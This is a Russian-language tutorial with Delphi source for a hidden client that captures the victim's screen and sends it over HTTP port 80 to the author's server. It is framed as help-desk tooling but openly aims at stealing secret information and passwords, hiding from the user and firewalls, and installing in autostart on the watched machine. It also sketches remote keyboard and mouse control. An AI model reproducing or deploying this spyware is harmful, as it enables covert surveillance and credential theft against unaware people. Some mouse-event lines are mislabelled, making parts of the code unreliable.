Наблюдаем за врагом - программа своими руками В статье пойдет речь о технологии контороля над удаленным компьютером в локальной сети или глобальной,при наличии "белого" IP адреса, контроля содержимого экрана в текущий момент времени, а также возможности управления удаленным рабочим столом пользователя. Статья поможет разработчику справиться с задачей контроля над удаленными системами, контроля с благими целями, любые доработки используюте на свой собственный страх и риск. Круг задач по контролю и управлению удаленной системой довольно разнообразен, это задачи направленные на благие цели, например, при отсутствии у пользователя возможности самостоятельно произвести операцию на компьютере, ему необходимо подключаться через сеть, это службы подобные "HelpDesk",контроль над удаленными серверами и т.д., также задачи для контроля или просмотра действий пользователя в целях получения секретной информации, запись действий в видеофайл,получение паролей с помощью так называемых "видео-снифферов" и др., существующие программы подобного рода не всегда подходят т.к. для подстройки под конкретную задачу необходимо доступ к исходному коду,наличие гибкости, например скрытие программы от глаз пользователя, минимизация интерфейса, запуск в виде системного процесса и т.д. Все эти требования заставляют хакера самостоятельно разрабатывать программы подобного рода , разберемся с технологией и разработаем программу для контроля удаленной системы. Для обхода Firewalls стоящих на компьютерах пользователей, а также чтобы наша программа не "засветилась" на Файерволле при передаче данных, передаваться данные будут по HTTP протоколу, по 80му порту, т.к. в любой системе имеющей доступ к интернет или локальной сети открыт 80й порт. При разработке будут использоваться Delphi 7.0 и компоненты Internet Component Suite от francois.piette@overbyte.be, бесплатные компоненты качаем с http://www.overbyte.be. Из набора наиболее подходят HTTPServer(HTTPSrv) и HTTPClient(HTTPCli). Для передачи изображений по сети наиболее подходит формат для хранения изображений PNG компонент TPNGImage лежит на http://pngdelphi.sourceforge.net. Клиентская часть содержит всего три процедуры, которых достаточно для работы, но, это минимум который при "боевых условиях" требует доработки. procedure TForm1.FormCreate(Sender: TObject); begin Application.Showmainform:=false; ShowWindow (Form1.handle, SW_HIDE); end; Процедура скрывает главную форму procedure TForm1.Timer1Timer(Sender: TObject); var Png:TPNGObject; bmp: TBitmap; begin try Timer1.Enabled:=false; HttpCli1.URL:='127.0.0.1'; HttpCli1.ProxyPort:=''; HttpCli1.Proxy:=''; HttpCli1.ProxyUsername:= ''; HttpCli1.ProxyPassword:= ''; bmp := TBitmap.Create; Png:=TPNGObject.Create; bmp.Width := Screen.Width; bmp.Height := Screen.Height; bmp.PixelFormat:=pf8bit; //8 бит (256 цветов) или bmp.PixelFormat:=pf16bit; 16ть битовый цвет BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy); png.Assign(bmp) png.CompressionLevel:=9; HttpCli1.SendStream:=TMemoryStream.Create; HttpCli1.RcvdStream := TMemoryStream.Create; png.SaveToStream(HttpCli1.SendStream); bmp.Free; png.Free; HttpCli1.SendStream.Seek(0, 0); HttpCli1.PostAsync; except HttpCli1.SendStream.Free; HttpCli1.SendStream := nil; HttpCli1.RcvdStream.Free; HttpCli1.RcvdStream := nil; end; end; Эту процедуру имеет смысл описать более подробно. В программу для предотвращения ошибок вставлены операторы try ... except ... end; Перед использованием программы на главную форму приложения необходимо положить компонент image, HTTPCli и незабыть всавить в Uses pngimage. Timer1.Enabled:=false; Останавливаем таймер для того чтобы на время передачи к серверу не поступало более одного изображения от текущего клиента. HttpCli1.URL:='127.0.0.1'; В этом свойстве указываеться адрес сервера, '127.0.0.1' локальный адрес, при "боевых" условиях следует указать реальный IP компьютера или сетевое имя. HttpCli1.ProxyPort:=''; HttpCli1.Proxy:=''; HttpCli1.ProxyUsername:= ''; HttpCli1.ProxyPassword:= ''; Дополнительные параметры используються при наличии прокси. bmp := TBitmap.Create; Png:=TPNGObject.Create; Создаем экземляры обьектов для хранения изображения подготавливаемого для отсылки серверу, т.е. все то, что будет происходить на экране пользователя,обязательно попадет в bmp и Png. bmp.Width := Screen.Width; bmp.Height := Screen.Height; Устанавливаем размер изображения равный размеру текущего экрана. bmp.PixelFormat:=pf8bit; //8 бит (256 цветов) или bmp.PixelFormat:=pf16bit; 16ть битовый цвет Перед тем как получить копию экрана установим количество бит на пиксел изображения. BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy); Операция по получению копии экрана в bmp. png.Assign(bmp); Так как формат BMP довольно громоздкий для передачи по сети, то необходимо конвертировать в PNG. png.CompressionLevel:=9; Хороший уровень компрессии. HttpCli1.SendStream:=TMemoryStream.Create; HttpCli1.RcvdStream := TMemoryStream.Create; png.SaveToStream(HttpCli1.SendStream); Создаем потоки в памяти и сохраняем туда изображение для передачи серверу. bmp.Free; png.Free; Освобождаем память. HttpCli1.SendStream.Seek(0, 0); HttpCli1.PostAsync; Отправляем частями изображение на сервер. HttpCli1.SendStream.Free; HttpCli1.SendStream := nil; HttpCli1.RcvdStream.Free; HttpCli1.RcvdStream := nil; Если произошел сбой передачи или ошибка другого рода,освобождаем память. procedure TForm1.HttpCli1RequestDone(Sender: TObject; RqType: THttpRequest; ErrCode: Word); var Data:string; begin HttpCli1.SendStream.Free; HttpCli1.SendStream := nil; if ErrCode <> 0 then begin HttpCli1.RcvdStream.Free; HttpCli1.RcvdStream := nil; Timer1.Enabled:=false; exit; end; if HttpCli1.StatusCode <> 200 then begin HttpCli1.RcvdStream.Free; HttpCli1.RcvdStream := nil; Timer1.Enabled:=false; stop; exit; end; HttpCli1.RcvdStream.Seek(0, 0); SetLength(Data, HttpCli1.RcvdStream.Size); HttpCli1.RcvdStream.Read(Data[1], Length(Data)); HttpCli1.RcvdStream.Free; HttpCli1.RcvdStream := nil; if copy(Data,1,2)='Ok' then Timer1.Enabled:=true; end; Процедура выполняеться только тогда,когда приходит ответ от сервера,что документ полностью получен. И процедура освобождает память, и при удачно выполненной отправке изображения запускает таймер,для передачи на сервер следующего изображения полученного в текущий момент времени с локального компьютера. Серверная часть содержит также три процедуры, на экране серверная часть может выглядеть так procedure TForm1.Button1Click(Sender: TObject); begin try PNGStream:=Tmemorystream.Create; HttpServer1.DocDir:=ExtractFilePath(Application.ExeName); HttpServer1.DefaultDoc := 'Izobrajenie.png'; HttpServer1.TemplateDir:=ExtractFilePath(Application.ExeName); HttpServer1.Port := '80'; HttpServer1.ClientClass := TMyHttpConnection; HttpServer1.Start; except on E:Exception do begin application.MessageBox('Инициализация сервера не возможна!','Внимание!',0); if HttpServer1.WSocketServer.LastError = WSAEADDRINUSE then application.MessageBox('Уже запущен!','Внимание!',0); end; end; end; Процедура выполняет инициализацию сервера,по умолчанию устанавливаеться главный документ, если разработчик решит хранить данные не только в потоках но также и на дисках компьютера,такой способ замедлит передачу изображения, но все же он возможен. HttpServer1.DefaultDoc := 'Izobrajenie.png'; HttpServer1.Port := '80'; Порт для передачи данных. HttpServer1.Start; Команда запуска сервера. procedure TForm1.HttpServer1PostDocument(Sender, Client: TObject; var Flags: THttpGetFlag); var ClientCnx : TMyHttpConnection; s:string; begin ClientCnx := TMyHttpConnection(Client); s:=ClientCnx.Path; Flags := hgAcceptData; ClientCnx.LineMode := FALSE; ClientCnx.FDataLen:=0; ClientCnx.FPostedDataSize:=2000; GetMem(ClientCnx.FPostedDataBuffer, ClientCnx.FPostedDataSize); MStream:=TMemoryStream.Create; end; Процедура инициализируется при поступлении на сервер любого документа и выполняет подготовку памяти для размещения получаемого изображения от клиента. procedure TForm1.HttpServer1PostedData(Sender, Client: TObject; Error: Word); var Len : Integer; ClientCnx : TMyHttpConnection; Flags:THttpGetFlag; begin ClientCnx := TMyHttpConnection(Client); Len:=ClientCnx.Receive(ClientCnx.FPostedDataBuffer,ClientCnx.FPostedDataSize); if Len <= 0 then Exit; Inc(ClientCnx.FDataLen, Len); try MStream.Write(ClientCnx.FPostedDataBuffer^, Len); except MStream.Free; ClientCnx.Destroy; exit; end; if ClientCnx.FDataLen = ClientCnx.RequestContentLength then begin ClientCnx.PostedDataReceived; ClientCnx.AnswerString( Flags,'','','','Ok'); Pngstream.Free; PNGStream:=TmemoryStream.Create; PNGStream.Position:=0; MStream.SaveToStream(PNGStream); MStream.Free; Png:=TPNGObject.Create; Pngstream.Position:=0; png.LoadFromStream(PNGStream); form1.Image1.Picture.Bitmap.Assign(png); png.Free; end; end; Данная процедура выполняеться сразу же по приходу данных на сервер второй после HttpServer1PostDocument и собирает полученные данные из нескольких частей в одну. После того как данные получены клиенту отправляется сигнал, что данные удачно были получены ClientCnx.PostedDataReceived; ClientCnx.AnswerString( Flags,'','','','Ok'); память освобождаеться Pngstream.Free; и PNG изображение повторно переводиться в BMP формат с выводом на экран с помощью компонента image. form1.Image1.Picture.Bitmap.Assign(png); Программа дает возможность наблюдать за удаленным компьютером, но пока не позволяет управлять им. Для управления достаточно добавить в серверную часть еще один компонент HTTPCli, который будет передавать события клавиатуры+мыши таким же способом как и передаются изображения в данном примере, а в клиентскую часть добавить компонент HTTPSrv принимающий и программно выполняющий на компьютере клиента события,при более изощренном подходе возможно не добавлять новых компонент,а передавать данные о событиях в ClientCnx.AnswerString( Flags,'','','','Событие1 Мышь X-150 Y120 LeftButton Клавиатура кнопка С'), но этот метод работает довольно медленно, т.е. клавиатура генерирует нажатие и мышь передвигаеться только при поступлении нового изображения, т.к. данные о событии передаються практически в одном потоке с изображением.Первый подход будет более правильным и быстрым, но в него необходимо добавить дополнительный таймер для передачи событий. Координаты мыши можно установить так: Mouse.CursorPos:=Point(x2 ,y2); Нажатие правой кнопки: mouse_event(MOUSEEVENTF_RIGHTDOWN,x2,y2,0,0); Нажатие левой кнопки: mouse_event(MOUSEEVENTF_RIGHTUP,x2,y2,0,0); События клавиатуры можно генерировать так: keybd_event(key, MapvirtualKey(key, 0), flag, 0); Получить нажатия клавиатуры можно с помощью метода класса TForm: procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); Получить координаты мыши можно например так: procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin MOUSX:=x; MOUSY:=y; end; После компиляции,в первую очередь необходимо запустить сервер в нашей системе,затем прописать клиентскую часть приложения в автозагрузку на отслеживаемом компьютере,но не забыть написать в коде правильный IP сервера (т.е. нашего компьютера), и все действия наблюдаемого пользователя будут отображаться на нашем экране. Так как в статье приведен пример с минимальным текстом программы и не предусмотрены многие варианты использования данного метода,то желательно клиентскую часть запускать после старта серверной части. так же следует учесть, что перед использованием серверной части необходимо убедиться в отсутствии на компьютере работающих серверов, например IIS, т.к. работа одного из серверов будет невозможна. Полная версия программы с исходным кодом (без дополнительных компонент) прилагается в архиве. Желаю успехов в освоении и использовании. Alimov Roman (darksquall@yandex.ru) |